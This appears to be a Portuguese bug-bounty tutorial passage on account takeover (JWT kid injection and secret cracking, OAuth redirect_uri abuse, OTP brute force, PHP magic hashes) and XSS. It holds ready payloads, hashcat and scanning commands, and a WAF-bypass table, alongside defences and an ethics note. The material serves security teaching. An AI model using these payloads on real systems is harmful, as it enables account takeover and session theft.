- `kid` **(Key ID)** costuma ser um nome de arquivo/registro. Se for usado sem sanitização, dá **path traversal** (sair da pasta esperada com `../` pra apontar pra outro arquivo): aponte pra um arquivo de conteúdo conhecido (`/dev/null` = string vazia) e assine o HMAC com esse conteúdo: `json {"alg":"HS256","kid":"../../../../dev/null"} // <- segredo HMAC = conteúdo de /dev/null = ""`

Variações do mesmo abuso de `kid`: se ele alimenta uma **consulta SQL** (`SELECT key FROM keys WHERE id='<kid>'`), pode ser **SQL-injectable** — um `kid` do tipo `x' UNION SELECT 'segredo'-- -` força o banco a devolver um valor que **você** escolhe, e aí você assina o HMAC com esse segredo conhecido. Outra: apontar o `kid` pra um arquivo de **conteúdo previsível** servido pela própria app e usar esse conteúdo como segredo. (Catálogo de truques de `kid` / `jku`: HAKAI — The Dark Side of JWT.)

Vetor 4 — OAuth mal configurado

OAuth é o "Login com Google/GitHub". No fluxo *authorization code*, o cliente redireciona o usuário pro provedor com `client_id`, `redirect_uri`, `response_type=code`, `scope` e `state`. O provedor autentica e devolve um **código** pro `redirect_uri`; o cliente troca o código por um token. Dois erros campeões:

4a. `state` ausente → CSRF de vínculo de conta. (CSRF = forçar o navegador da vítima a enviar uma request que ela não pediu.) O `state` é o **CSRF token** do fluxo OAuth — ele amarra a resposta do provedor à sessão que iniciou o pedido. Sem ele, o atacante inicia um fluxo OAuth com a **própria** conta social, captura o `code` resultante e força a vítima a "completar" esse fluxo (via link/CSRF). Resultado: a conta da vítima no app fica **vinculada à conta social do atacante** — que agora loga como a vítima.

4b. `redirect_uri` frouxo / vazamento via Referer. Se o provedor não valida o `redirect_uri` estritamente, o atacante aponta o callback pro **seu** domínio e o **código de autorização** chega nele:

```
https://provedor.com/auth?client_id=app123&response_type=code
   &redirect_uri=https://atacante.com/callback   <- deveria ser só app.exemplo.com
   &scope=email
```

Variante sutil: mesmo com `redirect_uri` certo, se a página de callback carrega recursos de terceiros (imagem, script), o **código na URL vaza no header `Referer`** dessas requests. O atacante hospeda o recurso e lê o `Referer`. Por isso o código tem que ser **de uso único e curtíssima validade**.

> **A chain que vale ouro:** provedores sérios validam o `redirect_uri` contra uma allowlist exata — você não aponta direto pra `atacante.com`. **Mas** se existir um **open redirect dentro do próprio domínio whitelisted**, o `redirect_uri` continua sendo `alvo.com` (válido!), o provedor entrega o `code` pra `alvo.com`, e o open redirect **repassa esse `code` pra você** → ATO. É o uso de maior impacto do open redirect, detalhado em Open Redirect — o trampolim. Com `response_type=token` (implicit grant), o que vaza é o **access token** na fragment (`#access_token=...`), lido por JS no callback.

Vetor 5 — Bypass de 2FA / OTP

O segundo fator deveria ser a última muralha. Três bypasses comuns:

5a. Validação no client-side (response manipulável). O servidor responde `400` pra um OTP errado e o front decide o que fazer com base no status. Intercepte a **resposta** e troque `400 Bad Request` por `200 OK`:

```
HTTP/2 400 Bad Request          →  HTTP/2 200 OK   # <- editado no Burp; o front acha
que validou
```

O front avança pra próxima tela achando que o código estava certo. A lição é eterna: **validação que importa acontece no servidor; nunca confie no que o front faz com a resposta.**

5b. Falta de rate limit no OTP. Um OTP de 6 dígitos tem 1 milhão de combinações. Sem rate limit nem bloqueio, isso é **brute force trivial** — Burp Intruder com payload numérico `000000–999999` resolve em minutos:

```
POST /api/2fa/verify HTTP/2
Host: alvo.com
Content-Type: application/json

{"code":"000000"}   # <- Intruder: Sniper, payload numérico 000000–999999
```

5c. Reuso de código / troca de identificador do OTP. Variantes: - O código **continua válido** após o uso, ou após expirar. - O fluxo amarra o OTP a um **`pinID` / `requestId`** controlável: o atacante pede um OTP **pra si**, anota o `pinID`, e no fluxo da vítima **troca o `pinID` da vítima pelo seu** — passando o código que chegou no **seu** telefone:

```
POST /api/phone/confirm HTTP/2
Host: alvo.com
Content-Type: application/json

{"pinID":"<pinID_do_ATACANTE>","code":"482913"}   # <- pinID trocado: o código é o que
chegou no telefone do atacante
```

Se isso confirma o telefone do atacante na conta da vítima, ele assume o canal de recuperação — e daí a conta inteira.

Vetor 6 — Type juggling (PHP) e o "magic hash" no login

Clássico de **comparação fraca** que ainda derruba login PHP. O operador `==` faz **conversão implícita de tipo** antes de comparar: strings que parecem número em **notação científica** — começam com `0e` seguido **só de dígitos** — viram `0`. Logo, **duas strings `0e...` diferentes são "iguais"** com `==`, porque ambas viram `0 == 0`.

```
// VULNERÁVEL — compara hashes com == (loose), não com ===
if (md5($senha_enviada) == $hash_do_banco) { /* autentica */ }
```

Se o hash armazenado **começa com `0e` e só tem dígitos** (um *magic hash*), qualquer senha cujo MD5 também seja `0e[dígitos]` passa. O exemplo célebre: `md5("QNKCDZO")` = `0e830400451993494058024219903391`.

```
md5("QNKCDZO")   = 0e830400451993494058024219903391   # → 0 no juggling
md5("240610708") = 0e462097431906509019562988736854   # idem → "iguais" com ==
```

Isso **ainda vale no PHP 8** (a comparação `==` entre duas *strings numéricas* continua numérica). Visto na prática na máquina **CyberWaf** (HackingClub): o login fazia `md5($senha) == $userdb['password']`, e o hash do usuário era um magic hash — então `aurora@cyberwaf.hc : QNKCDZO` autenticava **sem a senha real**.

> **Defesa:** comparação **estrita** (`===`, que checa tipo) ou, melhor, `hash_equals()` pra comparar hashes; e **nunca** MD5 pra senha — use `password_hash()` / `password_verify()` (bcrypt/argon2).

Caso real-fictício: JWT com segredo fraco → ATO em massa

> Cenário **fictício, baseado em padrões reais** de programas de bug bounty (anonimizado).

Você está testando `app.exemplo.com`. Após logar com a **Conta A**, abre o DevTools e acha no Local Storage um valor começando com `eyJ` — um JWT. Cola no jwt.io:

```
// HEADER
{"alg":"HS256","typ":"JWT"}
// PAYLOAD
{"userId":1001,"email":"contaA@exemplo.com","isPublic":false,"twoFactorAuthEnabled":false
```

Passo 1 — HS256 + segredo? O algoritmo é simétrico (HMAC). Vale tentar quebrar o segredo. Salvo o token em `jwt.txt` e rodo:

```
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
```

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQ...:supersecret123
#                                                  └──── segredo recuperado em
segundos
```

Segredo fraco quebrado: `supersecret123`.

Passo 2 — Forjar a Conta B. No [jwt.io], edito o payload trocando `userId` pra `1002` (Conta B/vítima) e colo `supersecret123` no campo *VERIFY SIGNATURE*. Copio o JWT resultante.

```
{"userId":1002,"email":"vitima@exemplo.com","isPublic":false,"twoFactorAuthEnabled":false
```

Passo 3 — Usar o token. Substituo o JWT no Local Storage (ou mando uma request com `Authorization: Bearer <jwt_forjado>`). Recarrego: estou dentro da **conta da vítima** — vejo o telefone dela, posso trocar a senha. Forjando um `exp` distante, ganho **sessão infinita**.

O que a tela mostraria: o painel do jwt.io com `alg:HS256`, o `userId` destacado no payload e o segredo preenchido no *VERIFY SIGNATURE* mostrando "*Signature Verified*"; e a aplicação logada exibindo dados que não são da sua conta.

> **LGPD** (Lei Geral de Proteção de Dados, Brasil): regula privacidade; torna a exposição de **PII** (dados pessoais: CPF, e-mail, telefone) crítica. Equivale ao GDPR europeu.

Passo 4 — Report. Título `[ATO] Forja de JWT via segredo HMAC fraco permite assumir qualquer conta`. Resumo no risco ao negócio: "*qualquer usuário autenticado quebra o segredo e forja um token válido de qualquer outro userId, assumindo a conta (PII, troca de senha) — viola a LGPD*". Passos numerados + prints, **sem expor o segredo real no report público**. Severidade **Alta** — o vetor exige uma conta logada pra obter o token (`PR:L`): `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N` = **8.1** · `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N` = **8.6**. Na descrição, **frise a escala** ("afeta TODAS as contas") — muitos programas sobem o pagamento pra faixa de Crítico por causa do impacto, mesmo com o vetor em Alto. (Veja Como escrever um report que paga.)

Defesa em camadas

ATO se mata com **defesa em profundidade** — nenhuma camada sozinha basta.

1. Reset de senha à prova de bala:

```
import secrets, hashlib
from datetime import datetime, timedelta

def gerar_token_reset(user):
    token = secrets.token_urlsafe(32)             # 256 bits de entropia — imprevisível
    user.reset_hash = hashlib.sha256(token.encode()).hexdigest()  # guarde o HASH, não
o token
    user.reset_expira = datetime.utcnow() + timedelta(minutes=15) # expira rápido
    user.save()
    enviar_email(user.email, link(token))         # alvo = e-mail DA CONTA, nunca do
request

def validar_reset(token, nova_senha):
    h = hashlib.sha256(token.encode()).hexdigest()
    user = User.query(reset_hash=h).first()
    if not user or user.reset_expira < datetime.utcnow():
        abort(400)                                # inválido ou expirado
    user.set_senha(nova_senha)
    user.reset_hash = None                        # <- INVALIDA o token após o uso (uso
```

```
único)
    user.save()
```

- O **alvo** do reset é sempre o e-mail **cadastrado na conta**, derivado server-side — nunca um `usuario` / `email` do corpo da request.
- Monte links com uma **base URL fixa de config**, nunca com o header `Host` (mata o Host header injection).

2. JWT verificado de verdade:

```
const jwt = require('jsonwebtoken');

// ERRADO — decode NÃO verifica assinatura
const claims = jwt.decode(token);              // <- aceita qualquer coisa

// CORRETO — verify com algoritmo TRAVADO
const claims = jwt.verify(token, PUBLIC_KEY, {
  algorithms: ['RS256']   // <- allowlist explícita: mata alg=none E algorithm
confusion
});
```

- **Trave o `algorithms`** numa allowlist — isso sozinho derruba `alg=none` e a confusão RS256→HS256.
- Prefira **chaves assimétricas (RS256/ES256)** com segredo... que não existe pra crackear. Se usar HS256, segredo **aleatório e longo** (32+ bytes), nunca um dicionário.
- **Ignore `jku` / `jwk` / `kid` do token** pra escolher chave (ou valide `jku` contra allowlist e sanitize `kid` contra path traversal).
- Sempre valide `exp`, `iss`, `aud`.

3. OAuth correto:

```
# Início do fluxo: gere e guarde o state na sessão
state = secrets.token_urlsafe(24)
session['oauth_state'] = state
# ...redirect com state=<state>

# No callback: compare antes de aceitar o code
if request.args['state'] != session.pop('oauth_state', None):
    abort(403)   # <- bloqueia CSRF de vínculo de conta
```

- `state` **obrigatório** e comparado no callback.
- `redirect_uri` **em allowlist exata** (match completo, não "começa com").
- Código de autorização **de uso único** e validade de segundos.

4. 2FA/OTP robusto: - Validação **100% server-side** (nunca dependa do status code interpretado no front). - **Rate limit + bloqueio** após N tentativas erradas (mata o brute force do OTP). - OTP **expira**, é **uso único** e amarrado ao usuário **server-side** (não a um `pinID` do cliente).

> **O que NÃO basta:** esconder o botão de admin no front; confiar no `role` / `userId` que veio no corpo; usar `jwt.decode()` achando que verifica; validar OTP no client; aceitar qualquer `alg` no JWT "porque a lib resolve".

Ferramentas + labs legais

- **Burp Suite** — Repeater, Intruder (brute force de OTP/IDs) e a extensão **JWT Editor** (forja e assina JWT, incluindo algorithm confusion).
- **jwt.io** — decodifica e re-assina JWT no navegador.
- **jwt_tool** — automação de ataques JWT em CLI.
- **hashcat** (`-m 16500`) — crackeia o segredo HMAC.
- **Labs pra praticar (autorizados):** PortSwigger — JWT attacks, PortSwigger — OAuth e Authentication (a melhor fonte gratuita), TryHackMe, HackTheBox, DVWA, HackingClub.

Checklist do caçador

- [ ] Criei **2 contas** (atacante e vítima).
- [ ] No reset: o **alvo** (login/e-mail) é controlável no corpo? O endpoint pede autenticação?
- [ ] Testei **Host header injection** (`Host` / `X-Forwarded-Host`) no link de reset.
- [ ] O **token de reset** é imprevisível, expira e invalida após o uso?
- [ ] Testei **troca de token/e-mail** no refresh entre Conta A e Conta B.
- [ ] Achei JWT (`eyJ...`)? Decodifiquei o header — qual `alg` ?
- [ ] Testei `alg=none` (e variantes de capitalização).
- [ ] HS256 → rodei `hashcat -a 0 -m 16500` com wordlist.
- [ ] RS256 → busquei `/jwks.json` e tentei **algorithm confusion**.
- [ ] Testei injeção de `kid` / `jku` / `jwk` no header.
- [ ] OAuth: o `state` existe e é validado? O `redirect_uri` aceita meu domínio?
- [ ] OTP/2FA: tem **rate limit**? Dá pra manipular a **response** (400→200)? Código **reusa**? `pinID` trocável?
- [ ] Demonstrei a **escala** (afeta uma conta ou qualquer uma?).

Pegadinhas / o que NÃO funciona

- **Achar um `eyJ` ≠ bug.** Um JWT existir é normal. Bug é a **assinatura não ser verificada** ou o segredo ser fraco. Sempre teste a verificação.
- **"Secret key" no JS quase nunca é segredo.** Variáveis `VUE_APP_*` , `pk_live_` do Stripe, sitekeys de reCAPTCHA são **públicas por design**. O que importa é um token/credencial **realmente sensível** (use o KeyHacks pra validar).
- **Tomar a própria conta de um jeito esquisito não é report.** O programa quer ver "**atacante → vítima**". Sem a segunda conta e sem escala, o impacto fica fraco.

- **JWT decodificado ≠ JWT quebrado.** Editar o payload no jwt.io é trivial; só vira ATO se o servidor **aceitar** a assinatura forjada. Sempre confirme contra o servidor.
- `alg=none` **rejeitado num formato** pode passar em outro — teste `none`, `None`, `nOnE`, `NONE`.

O que você precisa lembrar

- **ATO é resultado, não uma falha única** — reset inseguro, refresh frouxo, JWT forjável, OAuth sem `state`, 2FA contornável: todos levam ao mesmo lugar.
- **A pergunta-mestra:** "*qual dado dessa request decide quem eu sou — e eu consigo mexer nele?*"
- **Em JWT, toda a segurança está na verificação da assinatura.** Allowlist de algoritmo + chave forte mata a maioria dos ataques.
- **O dinheiro está na escala:** "qualquer atacante toma qualquer conta" = crítico.

> **Dica de ouro:** sempre teste com **duas contas** e foque no **fluxo de identidade** (reset, refresh, token, OAuth, 2FA). Se você consegue se passar por outro usuário sem saber a senha dele — e prova que isso vale pra **qualquer** conta — você tem um ATO crítico nas mãos.

Nota ética

Tudo aqui é pra **testes autorizados** — bug bounty dentro do escopo, pentests contratados e labs legais. Forjar tokens, resetar senhas ou contornar 2FA em sistemas de terceiros sem autorização é crime, e desnecessário quando existem labs excelentes (PortSwigger Academy, THM, HTB) pra treinar exatamente esses ataques. Use pra proteger, reportar com responsabilidade e ensinar — nunca pra invadir.

Referências

- OWASP A07:2021 — Identification and Authentication Failures
- PortSwigger — JWT attacks e Algorithm confusion
- PortSwigger — OAuth 2.0 authentication vulnerabilities e Authentication
- hashcat — example hashes (modo 16500 = JWT)
- jwt.io — debugger e introdução
- ticarpi/jwt_tool · wallarm/jwt-secrets (wordlists)

XSS e HTML Injection: do espelho ao controle do navegador

O bug que faz o navegador da vítima trabalhar pra você

> XSS é um tema denso e cheio de nuance. Aqui a gente cobre **do zero ao avançado**, de forma completa e didática — pra você sair sabendo replicar em **qualquer** contexto, não só decorar um `<script>alert(1)</script>`.

Imagina um campo de busca que devolve "Você procurou por: **sapato**". Inocente, né? Aí você procura por `<b>sapato</b>` e a tela mostra a palavra **em negrito**. Esse pequeno detalhe — o site renderizou o seu HTML em vez de mostrar o texto literal — é o primeiro fio do novelo. Se ele aceita `<b>`, provavelmente aceita `<script>`. E se aceita `<script>`, o navegador da vítima passa a executar **o seu** JavaScript.

Isso é **Cross-Site Scripting (XSS)**, e ele está na lista do OWASP Top 10 dentro de A03:2021 — Injection. É uma das classes que mais aparece em bug bounty porque está em **todo lugar** onde uma aplicação reflete dado do usuário sem tratar. Neste capítulo a gente vai do **HTML Injection** (o primo mais simples) até **roubo de sessão**, **blind XSS** e a defesa de verdade.

O que é, na real (com analogia)

XSS é quando você consegue fazer a aplicação **entregar o seu JavaScript pro navegador de outra pessoa**, e esse navegador executa o script **como se fosse do site**. A palavra-chave é *contexto*: o navegador da vítima confia em tudo que vem daquele domínio (cookies, sessão, tokens) — e o seu script roda dentro dessa confiança.

> **Analogia:** o site é um carteiro que entrega bilhetes. Normalmente ele lê o seu bilhete e **copia o texto** num cartão ("o cliente disse: sapato"). No XSS, o carteiro pega o seu bilhete escrito em código e, em vez de copiar como texto, **executa as instruções**. Você manda "abra o cofre" e ele abre — porque confundiu *dado* (o que mostrar) com *instrução* (o que fazer).

Essa confusão entre **dado e código** é a raiz de toda injeção. No SQLi (que revisamos em outro capítulo do guia) o dado vira comando **no banco**. No XSS, o dado vira comando **no navegador**.

HTML Injection: o degrau antes do XSS

Antes de conseguir rodar script, muita vez você só consegue injetar **HTML** — uma tag `<b>`, um link `<a>`, uma imagem. Isso já é uma falha por si só, chamada **HTML Injection**:

- Você injeta `<a href="https://site-falso.com">Clique aqui</a>` num campo e ele vira **link clicável** na tela ou no e-mail de outra pessoa → vetor de **phishing/ engenharia social**.
- Você injeta `<h1>` e quebra o layout da página → **defacement** leve (desfiguração visual da página).

HTML Injection é o **teste de fumaça** do XSS: se o HTML é interpretado, falta pouco pro JavaScript. Em programas reais, um HTML Injection simples (link refletido num e-mail, por exemplo) costuma pagar de **R$250 a R$500** (severidade baixa); o XSS pleno escala a partir daí. A diferença é só *quanto* da sua entrada o navegador interpreta.

Por que importa (e quanto paga)

> **CSRF** (Cross-Site Request Forgery): força o navegador da vítima a enviar uma requisição autenticada sem ela saber. XSS pode encadear com CSRF.

Quando o seu JavaScript roda no contexto do site, você herda os poderes da vítima:

- **Roubo de sessão/cookie** → assumir a conta (vira um Account Takeover).
- **Keylogger** → capturar o que a vítima digita (senha, cartão).
- **Ações em nome da vítima** → encadear com **CSRF** (forçar a vítima a fazer uma requisição autenticada sem perceber) e fazer transferências, trocar e-mail, mudar senha.
- **Defacement / phishing interno** → injetar um formulário de login falso *na página verdadeira*.
- **Pivô pra outras falhas** → um **stored XSS** no mesmo host é, muitas vezes, o "meio de obtenção" que falta pra transformar um IDOR de token num report aceito (já vimos esse encaixe no capítulo de Broken Access Control).

Faixa de bounty: de **R$150–500** (reflected de baixo impacto, exige interação) a **vários milhares** (stored XSS que atinge muitos usuários, ou que rouba sessão de admin). O que move o ponteiro é **quem é a vítima** e **quantos** dá pra afetar — exatamente o raciocínio de impacto do capítulo de severidade.

> **Como o XSS pontua (CVSS).** Os exemplos oficiais da FIRST.org ajudam a calibrar a severidade — repare que o **reflected** e o **stored** acabam parecidos no número, mas pelo motivo certo:

Tipo	CVSS v3.1	CVSS v4.0
Reflected (ex.: CVE-2022-24682)	`AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` → **6.1 (Médio)**	`AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N` → **5.1 (Médio)**
Stored (ex.: CVE-2020-0926)	`AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N` → **5.4 (Médio)**	`AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N` → **5.1 (Médio)**

A grande novidade do **v4.0** é o campo **UI (interação do usuário)**, que deixou de ser "sim/não" e virou três níveis: `UI:A` (**Active** — a vítima precisa de uma ação consciente, ex.: *clicar no link* → é o reflected) e `UI:P` (**Passive** — interação involuntária, a vítima só abre a página → é o stored). E o impacto agora cai em **SC/SI** (*Subsequent System*: o navegador da vítima), não no app vulnerável — exatamente a natureza do XSS. Esses são **scores-base de exemplos genéricos**; o seu sobe rápido conforme você prova roubo de sessão de admin ou alcance em massa (aí `SC`/`SI` viram `H`). Não cole o número de fórmula — calcule conforme o **seu** impacto demonstrado, como no capítulo de severidade.

Cookie `HttpOnly` muda o jogo. Se o cookie de sessão é `HttpOnly`, o `document.cookie` não enxerga ele — aí o roubo de cookie clássico não funciona. Mas XSS continua crítico: você ainda executa ações em nome da vítima (CSRF via fetch autenticado), faz keylogger e lê dados da tela. Não desista do impacto só porque o cookie está protegido.

Como funciona por trás

O ciclo é sempre o mesmo: **entrada → reflexão/armazenamento → renderização sem tratamento → execução**.

Veja o backend vulnerável mais clássico do mundo (PHP, mas vale pra qualquer linguagem):

```
// VULNERÁVEL — joga a entrada do usuário direto no HTML
$termo = $_GET['q'];
echo "<p>Você procurou por: $termo</p>";
```

Se a vítima abrir `https://alvo.com/busca?q=<script>alert(document.domain)</script>`, o HTML gerado vira:

```
<p>Você procurou por: <script>alert(document.domain)</script></p>
```

O navegador **não sabe** que `<script>` veio de um atacante — pra ele é HTML legítimo do `alvo.com`. Resultado: o script roda. Trocamos `alert(1)` por `alert(document.domain)` de propósito: o `alert(1)` só prova "executou JS"; o `document.domain` prova **em qual origem** executou — evidência muito mais forte pro report.

> Em ambientes modernos, o Chrome (92+) bloqueia `alert()` dentro de iframes cross-origin. Por isso a PortSwigger recomenda `print()` como prova alternativa quando o `alert` "não dispara" e você desconfia que é por causa de iframe.

Os três tipos (com analogia de cada)

Tipo	Origem do payload	Onde mora o bug	Analogia
Reflected	Vem na **request atual** (URL, form) e volta na resposta	Servidor	Espelho: você fala e o eco volta na hora. Precisa **enviar o link** pra vítima
Stored	**Salvo no banco** e servido pra quem abrir a página	Servidor	Bilhete colado no mural: quem passar, lê. **Não precisa de link**, a vítima vem sozinha
DOM-based	A request normal, mas o **JS do front** trata a entrada	Cliente (navegador)	Telefone sem fio dentro da própria casa: o servidor nem viu o payload, foi o JavaScript que se atrapalhou

As definições são as da PortSwigger: **reflected** = "o script malicioso vem da request HTTP atual"; **stored** = "vem do banco de dados do site"; **DOM-based** = "a vulnerabilidade está no código client-side, não no server-side".

> **Reflected × Stored, na imagem que gruda:** o **Reflected** é entregar um **copo de água envenenado** na mão da vítima — ela precisa "beber" (clicar no seu link). O **Stored** é **envenenar a água da cidade**: você contamina a fonte e **qualquer um** que beber é atingido, sem precisar convencer ninguém. Por isso o Stored costuma valer mais: escala sozinho e dispensa engenharia social.

Por que o DOM-based é diferente (e mais traiçoeiro)

No reflected/stored, o **servidor** monta o HTML errado. No DOM-based, o servidor pode mandar uma resposta perfeitamente segura — o estrago acontece **depois**, quando o JavaScript da página pega um dado de uma **fonte (source)** e joga num **destino perigoso (sink)**.

```
// DOM XSS VULNERÁVEL — lê da URL (source) e escreve no HTML (sink)
const nome = new URLSearchParams(location.search).get('nome'); // source: location
document.getElementById('saudacao').innerHTML = 'Olá, ' + nome;  // sink: innerHTML
```

Abrindo `?nome=<img src=x onerror=alert(document.domain)>`, o `innerHTML` interpreta a tag e o `onerror` dispara. Repare: **o payload pode nem chegar ao servidor** se você usar o

fragmento (`#`), porque o que vem depois do `#` não é enviado na request HTTP — só o navegador vê. Por isso DOM XSS muitas vezes passa batido por WAF e por log de servidor.

> **WAF** (Web Application Firewall): filtro na frente da aplicação que tenta barrar requisições maliciosas por padrões/assinaturas. Detalhe no Glossário.

Segundo o OWASP DOM-based XSS Prevention Cheat Sheet, os **sinks** mais perigosos são:

- **Renderizam HTML:** `innerHTML` , `outerHTML` , `document.write()` , `document.writeln()`
- **Executam código:** `eval()` , `setTimeout(string)` , `setInterval(string)` , `new Function()`
- **Atributos e navegação:** `setAttribute('onclick', ...)` (escreve handler de evento) e `location` / `location.href` (permite redirect ou execução via `javascript:` URI)

Contextos de injeção: por que o payload muda (a parte que ninguém pode pular)

Esse é **o conceito** que separa quem decora payload de quem entende XSS. O mesmo dado, dependendo de **onde** ele cai no HTML, exige um payload diferente — porque o navegador tem regras de parsing diferentes em cada lugar. Vamos ver os quatro contextos principais.

Contexto 1 — Entre tags HTML (`<p>AQUI</p>`)

É o mais simples. Você está no "corpo" do HTML, então pode abrir uma tag nova:

```
<p>Você procurou por: <script>alert(document.domain)</script></p>
<p>Você procurou por: <img src=x onerror=alert(document.domain)></p>
```

Contexto 2 — Dentro de um atributo (`<input value="AQUI">`)

Aqui você **não** está livre no HTML: está preso entre aspas de um atributo. Primeiro precisa **escapar do atributo** fechando as aspas e a tag:

```
<!-- a aplicação monta: <input value="SUA_ENTRADA"> -->
"><img src=x onerror=alert(document.domain)>
<!-- vira: <input value=""><img src=x onerror=alert(document.domain)> -->
```

E se a aplicação **filtra `<` e `>`** mas deixa as aspas passarem? Você não consegue criar tag nova — mas pode injetar um **event handler no próprio atributo**, sem nenhuma tag (esse padrão real apareceu num refletido em página de login):

```
<!-- entrada que não usa < nem > -->
" onfocus=alert(document.domain) autofocus="
<!-- vira: <input value="" onfocus=alert(document.domain) autofocus=""> -->
```

O `autofocus` força o campo a receber foco sozinho, o que dispara o `onfocus` **sem clique da vítima**. Sacou? O contexto "atributo" abriu uma porta que o contexto "corpo HTML" nem precisava.

Contexto 3 — Dentro de um `<script>` (já estou no JavaScript)

Se a sua entrada cai **dentro** de um bloco `<script>`, você nem precisa de tag — já está em terreno JS. Aí o jogo é **quebrar a string** e injetar código:

```
<script>
  var termo = "SUA_ENTRADA";   // a app coloca sua entrada aqui dentro
</script>
```

```
// payload: fecha a string, executa, e comenta o resto pra não quebrar a sintaxe
";alert(document.domain)//
// resultado:  var termo = "";alert(document.domain)//";
```

Contexto 4 — URL / `href` (o perigo do `javascript:`)

Quando sua entrada vira o destino de um link ou redirect, existe o esquema `javascript:`, que executa código ao ser navegado:

```
<a href="SUA_ENTRADA">link</a>
<!-- payload: --> javascript:alert(document.domain)
```

> **A regra de ouro do contexto:** antes de escolher o payload, **olhe o código-fonte da resposta** e pergunte "onde exatamente a minha entrada caiu?". Corpo HTML? Atributo? Dentro de script? Atributo de URL? O payload **certo** é o que escapa **daquele** lugar específico. Decorar payload sem ler o contexto é chutar.

Recon — como encontrar

XSS se acha caçando **todo ponto onde a sua entrada reaparece** na resposta (refletida) ou em outra tela (stored). Onde olhar:

- **Parâmetros refletidos:** busca, filtros, mensagens de erro, `?q=`, `?search=`, `?name=`, `?redirect=`, `?lang=`. Um padrão de campo que funciona muito é fuzzar vários nomes comuns de uma vez (`s`, `search`, `id`, `query`, `keyword`, `name`, `q`, `url`, `view`, `cat`).

- **Campos persistidos (stored):** nome/sobrenome de perfil, comentários, nome de arquivo no upload, campos de formulário de contato, descrição de produto — qualquer coisa que **outra pessoa vai ver depois**.
- **E-mails e PDFs gerados pela app:** o e-mail de reset de senha, a confirmação de pedido. Se o seu "nome" entra HTML ali, é HTML Injection (e às vezes XSS no cliente de e-mail).
- **DOM:** abra o DevTools → aba **Sources**, dê `Ctrl+Shift+F` e procure pelos sinks (`innerHTML`, `document.write`, `eval`, `location`). Veja se algum recebe dado de `location`, `document.referrer` ou `postMessage`.

```
# Achar parâmetros refletidos em URLs históricas (gau/httpx já apresentados no capítulo de Recon)
echo alvo.com | gau | grep '=' | qsreplace '"><svg onload=confirm(1)>' | \
  httpx -silent -mc 200 -ms 'svg onload=confirm(1)'   # casa quando o payload volta CRU na resposta
```

> A ideia acima: `qsreplace` troca o valor de **todos** os parâmetros pelo payload, e o `httpx` marca (`-ms`, *match string*) as respostas que devolveram o payload **sem escapar** — esses são os candidatos a refletido. (`gau`, `httpx` e `qsreplace` foram apresentados no capítulo de Recon.)

.

```
# Dork pra achar parâmetros refletidos indexados
site:alvo.com inurl:search | inurl:q= | inurl:query=
```

> Comece com um **marcador único e inofensivo**: `xsstest9173`. Mande, depois ache `xsstest9173` na resposta com `Ctrl+F`. **Onde** ele aparece (corpo? atributo? script?) e **como** (cru? entitizado?) te diz o contexto e se vale tentar payload.

Exploração passo a passo (do básico ao avançado)

Nível 0 — HTML Injection (teste de fumaça)

Injete `<b>xsstest</b>` ou `<h1>xsstest</h1>`. Se a tela mostra **negrito/título** em vez do texto literal, o HTML é interpretado → siga pro script.

Nível 1 — Reflected, contexto corpo HTML

```
GET /busca?q=<svg/onload=alert(document.domain)> HTTP/2
Host: alvo.com
```

`<svg onload=...>` é ótimo porque dispara **sozinho** (sem precisar de imagem quebrada como o `<img onerror>`). A barra `<svg/onload>` evita o espaço, útil quando o filtro corta espaços.

Nível 2 — Stored, contexto perfil

Coloca o payload no **nome do perfil** e visita a página como **outra conta**. Se disparar pra todo mundo que abre, é **stored** — mais grave que reflected porque não exige link.

```
PUT /api/perfil HTTP/2
Host: alvo.com
Content-Type: application/json
Authorization: Bearer <token>

{"nome": "<img src=x onerror=alert(document.domain)>"}   # <- renderiza pra quem vê o perfil
```

> Dica de report (vinda do campo): se achar XSS em **dois campos distintos** da mesma página (ex.: `nome` e `sobrenome`), reporte **separadamente** — são dois sinks diferentes, dois reports.

Nível 3 — DOM-based

Ache o sink no JS e alimente a source. Exemplo com `location.hash` (que **não** vai pro servidor):

```
https://alvo.com/pagina#<img src=x onerror=alert(document.domain)>
```

Nível 4 — Bypasses (quando tem filtro/WAF no caminho)

A tabela abaixo é o seu arsenal quando o payload óbvio é bloqueado. **Cada técnica ataca uma suposição do filtro.**

Técnica	Payload	Por que funciona
Sem `<script>` (event handler)	`<img src=x onerror=alert(1)>` · `<svg onload=alert(1)>` · `<body onload=alert(1)>`	Filtro que só bloqueia a palavra `script` ignora handlers
Case mixing	`<ScRiPt>alert(1)</sCrIpT>`	HTML é case-insensitive; filtro que compara `script` minúsculo passa batido
Encoding HTML	`<` vira `<` ao renderizar	Se o filtro decodifica **depois** de checar, você passa
Encoding URL / duplo	`%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E` ou duplo `%253C`	A app decodifica em camadas; o duplo-

Técnica	Payload	Por que funciona
		encode "atravessa" um decode
Comentário no meio	`<scr<!---->ipt>`	Quebra a assinatura textual sem quebrar o parsing do navegador
`String.fromCharCode`	`String.fromCharCode(97,108,101,114,116)` → `"alert"`	Reconstrói a palavra proibida em runtime, sem ela aparecer literal
`window[a]`	`var a=String.fromCharCode(...); window[a](1)`	Chama `alert` sem digitar `alert` — evita a blacklist da função
`eval(atob(...))`	`eval(atob('YWxlcnQoMSk='))`	Esconde o payload inteiro em Base64; o WAF vê só uma string opaca

O combo `String.fromCharCode` + `window[a]` é um padrão clássico de **bypass de WAF** — variações dessa obfuscação já figuram em writeups públicos de bypass de WAFs comerciais (Imperva entre eles). A lógica: o WAF tem uma blacklist com `alert`, `<script>`, etc. Você **nunca escreve essas strings** — monta tudo em runtime:

```
// nenhuma das palavras "alert" ou "script" aparece no texto enviado
var a = String.fromCharCode(97,108,101,114,116); // "alert"
window[a]("XSS");                                 // window["alert"]("XSS")
```

